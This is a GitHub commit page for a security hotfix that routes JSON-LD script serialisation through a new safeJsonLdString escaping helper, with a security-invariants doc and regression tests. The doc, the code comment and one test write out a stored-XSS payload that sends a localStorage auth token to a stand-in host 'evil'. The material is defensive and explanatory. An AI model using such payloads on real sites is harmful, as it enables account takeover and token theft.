Skip to content

Commit 1cf69b1

Browse files
authored
Merge pull request #338 from InvolutionHell/security/p0-hotfix-2026-05-08
chore(security): JSON-LD 序列化统一走 safeJsonLdString
2 parents 0a76a2a + 3e9285e commit 1cf69b1

6 files changed

Lines changed: 138 additions & 5 deletions

File tree

app/[locale]/docs/[...slug]/page.tsx

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
import { source } from "@/lib/source";
2+
import { safeJsonLdString } from "@/lib/json-ld";
23
import { SITE_URL } from "@/lib/site-url";
34
import { DocsPage, DocsBody } from "fumadocs-ui/page";
45
import { notFound } from "next/navigation";
@@ -104,12 +105,12 @@ export default async function DocPage({ params }: Param) {
104105
<script
105106
type="application/ld+json"
106107
// eslint-disable-next-line react/no-danger
107-
dangerouslySetInnerHTML={{ __html: JSON.stringify(articleJsonLd) }}
108+
dangerouslySetInnerHTML={{ __html: safeJsonLdString(articleJsonLd) }}
108109
/>
109110
<script
110111
type="application/ld+json"
111112
// eslint-disable-next-line react/no-danger
112-
dangerouslySetInnerHTML={{ __html: JSON.stringify(breadcrumbJsonLd) }}
113+
dangerouslySetInnerHTML={{ __html: safeJsonLdString(breadcrumbJsonLd) }}
113114
/>
114115
<DocsPage toc={page.data.toc}>
115116
<DocsBody>

app/[locale]/u/[username]/page.tsx

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@ import { GithubRepos, GithubReposSkeleton } from "./GithubRepos";
1717
import { Suspense } from "react";
1818
import { getTranslations } from "next-intl/server";
1919
import { sanitizeExternalUrl } from "@/lib/url-safety";
20+
import { safeJsonLdString } from "@/lib/json-ld";
2021
import { SITE_URL } from "@/lib/site-url";
2122

2223
interface UserView {
@@ -367,7 +368,7 @@ export default async function UserProfilePage({ params }: Param) {
367368
<script
368369
type="application/ld+json"
369370
// eslint-disable-next-line react/no-danger
370-
dangerouslySetInnerHTML={{ __html: JSON.stringify(personJsonLd) }}
371+
dangerouslySetInnerHTML={{ __html: safeJsonLdString(personJsonLd) }}
371372
/>
372373
<Header />
373374
<main className="pt-32 pb-16 bg-[var(--background)] min-h-screen">

app/layout.tsx

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ const geistMono = localFont({
1818
});
1919

2020
import { SITE_URL } from "@/lib/site-url";
21+
import { safeJsonLdString } from "@/lib/json-ld";
2122
const en_description =
2223
"内卷地狱(Involution Hell)是一个由开发者发起的开源学习社区,专注算法、系统设计、工程实践与技术分享,帮助华人程序员高效成长,专注真实进步。Involution Hell is an open-source community empowering builders with real-world engineering.";
2324

@@ -205,7 +206,7 @@ export default function RootLayout({
205206
type="application/ld+json"
206207
// eslint-disable-next-line react/no-danger
207208
dangerouslySetInnerHTML={{
208-
__html: JSON.stringify({
209+
__html: safeJsonLdString({
209210
"@context": "https://schema.org",
210211
"@type": "WebSite",
211212
name: "Involution Hell",
@@ -227,7 +228,7 @@ export default function RootLayout({
227228
<script
228229
type="application/ld+json"
229230
dangerouslySetInnerHTML={{
230-
__html: JSON.stringify({
231+
__html: safeJsonLdString({
231232
"@context": "https://schema.org",
232233
"@type": "Organization",
233234
name: "Involution Hell",

docs/SECURITY_INVARIANTS.md

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
# 前端安全不变量(Security Invariants)
2+
3+
> 这是给维护者看的代码不变量清单。
4+
> 公开的 vulnerability disclosure policy 见 `SECURITY.md`
5+
6+
本文档登记前端代码中**不可变更的安全保护点**
7+
每条不变量都对应一段 lint / 测试 / 代码模式,CI 应能捕获回归。
8+
9+
后端有同名文档 `backend/SECURITY.md`,编号空间互不重叠:
10+
后端用 `INV-001`/`INV-002`...,前端用 `INV-FE-001`/`INV-FE-002`...
11+
12+
## 维护规则
13+
14+
修改本文件涉及的代码时**必须更新对应测试 / lint 规则**
15+
删除任何一条不变量需在 PR 描述写明理由并 CC superadmin review。
16+
17+
每条不变量包含四个字段:
18+
19+
- **保护点**:被保护的代码位置
20+
- **测试 / lint**:CI 检测手段(grep 规则 / 单元测试 / e2e)
21+
- **为什么**:攻击场景与历史背景
22+
- **历史**:诞生时间与背景
23+
24+
---
25+
26+
## INV-FE-001 · 嵌入 `<script type="application/ld+json">` 必须用 safeJsonLdString
27+
28+
- **保护点**:所有 `<script type="application/ld+json">` 块。
29+
当前调用方:
30+
- `app/[locale]/u/[username]/page.tsx`(personJsonLd,含用户 bio)
31+
- `app/[locale]/docs/[...slug]/page.tsx`(articleJsonLd / breadcrumbJsonLd)
32+
- `app/layout.tsx`(WebSite / Organization 结构化数据)
33+
- **统一工具**`lib/json-ld.ts``safeJsonLdString(payload)`
34+
- **测试 / lint**
35+
- 暂时通过 grep 巡查兜底:
36+
`rg -t tsx -t ts 'dangerouslySetInnerHTML' app/ | grep -v safeJsonLdString | grep "application/ld\\+json"`
37+
应返回 0 行。建议未来加 ESLint 自定义规则。
38+
- 现有单元测试见:`tests/json-ld.test.ts`
39+
例如 `safeJsonLdString({bio: "</script><script>x</script>"})`
40+
输出不能包含字面 `<``</script>`,并且应包含转义后的 `\\u003c` 序列。
41+
- **为什么**`JSON.stringify` 默认不转义 `<` `>` `&`,攻击者把
42+
`</script><script>fetch("https://evil/?t="+localStorage.getItem("satoken"))</script>`
43+
写进任何 user-generated 字段(profile bio、displayName 等)即触发 stored XSS。
44+
satoken 存在 localStorage 且写入非 HttpOnly cookie(跨子域 pgAdmin 的设计取舍),
45+
一次 XSS 等于完整账户接管。
46+
- **历史**:2026-05-07 三方 CR attack chain A 起点(详见内部报告)。

lib/json-ld.ts

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
/**
2+
* 把任意对象序列化为可安全嵌入 <script type="application/ld+json"> 的字符串。
3+
*
4+
* 安全不变量 INV-FE-001(见 SECURITY.md):
5+
* 所有 dangerouslySetInnerHTML={{__html: JSON.stringify(jsonLd)}} 必须改用本函数。
6+
*
7+
* 攻击场景:用户在可控字段(bio / displayName 等 user-generated 字段)填入
8+
* </script><script>fetch("https://evil/?t="+localStorage.getItem("satoken"))</script>
9+
* JSON.stringify 默认不转义 `<`,攻击者文本作为合法 JSON 字符串嵌入 <script> 块时,
10+
* 浏览器仍先看到 </script> 闭合 script 块,接着把后续 <script> 当 inline JS 执行
11+
* —— 典型 stored XSS。
12+
*
13+
* 阻断思路:把 JSON.stringify 输出中所有可能闭合 script 的字符替换成 \\uXXXX 字面 6 字符。
14+
* 浏览器 HTML 解析器看不到 `<` 自然不会闭合 script;JSON.parse 仍能识别 \\u 转义还原。
15+
*
16+
* 同时转义 U+2028 / U+2029(行分隔符):JSON 内部合法,但若整段文本被误嵌入
17+
* ECMAScript 源码上下文会被识别为行终止符破坏外层 JS 语法——defense-in-depth。
18+
*/
19+
export function safeJsonLdString(payload: unknown): string {
20+
let serialized: string | undefined;
21+
22+
try {
23+
serialized = JSON.stringify(payload);
24+
} catch {
25+
serialized = "null";
26+
}
27+
28+
return (serialized ?? "null")
29+
.replace(/</g, "\\u003c")
30+
.replace(/>/g, "\\u003e")
31+
.replace(/&/g, "\\u0026")
32+
.replace(/\u2028/g, "\\u2028")
33+
.replace(/\u2029/g, "\\u2029");
34+
}

tests/json-ld.test.ts

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
/**
2+
* INV-FE-001 回归测试:safeJsonLdString 必须把会闭合 <script> 块的字符
3+
* 转义成 \uXXXX 字面 6 字符序列,让浏览器 HTML 解析器看不到 `<` `>`。
4+
*
5+
* 攻击载荷:
6+
* bio = `</script><script>fetch("https://evil/?t="+localStorage.getItem("satoken"))</script>`
7+
*
8+
* JSON.stringify 默认输出原文,浏览器看到 `</script>` 就闭合 script block,
9+
* 接着把后续 `<script>` 当 inline JS 执行——典型 stored XSS。
10+
* safeJsonLdString 把所有 `<` 转成字面 6 字符 `\u003c`,浏览器看不到原始 `<`。
11+
*/
12+
import { describe, expect, test } from "vitest";
13+
import { safeJsonLdString } from "../lib/json-ld";
14+
15+
describe("safeJsonLdString", () => {
16+
test("转义攻击载荷 </script> 不再出现在输出里", () => {
17+
const payload = {
18+
bio: `</script><script>fetch("https://evil")</script>`,
19+
};
20+
const out = safeJsonLdString(payload);
21+
expect(out).not.toContain("</script>");
22+
expect(out).not.toContain("<script>");
23+
// 必须包含字面转义形式(6 字符)
24+
expect(out).toContain("\\u003c");
25+
});
26+
27+
test("普通对象仍是合法 JSON(JSON.parse 能还原)", () => {
28+
const original = {
29+
name: "Involution Hell",
30+
url: "https://involutionhell.com",
31+
};
32+
const out = safeJsonLdString(original);
33+
expect(JSON.parse(out)).toEqual(original);
34+
});
35+
36+
test("user-generated 字段含 < > & 都被转义", () => {
37+
const out = safeJsonLdString({ field: "a<b>c&d" });
38+
expect(out).not.toContain("<");
39+
expect(out).not.toContain(">");
40+
// & 也应该被转义为字面 `\\u0026`
41+
expect(out).toContain("\\u0026");
42+
});
43+
44+
test("JSON.parse 后还能拿到原始用户输入(往返保真)", () => {
45+
const original = { bio: `恶意</script>载荷 with <b> & 'quotes'` };
46+
const out = safeJsonLdString(original);
47+
const parsed = JSON.parse(out);
48+
expect(parsed.bio).toBe(original.bio);
49+
});
50+
});

0 commit comments

Comments
 (0)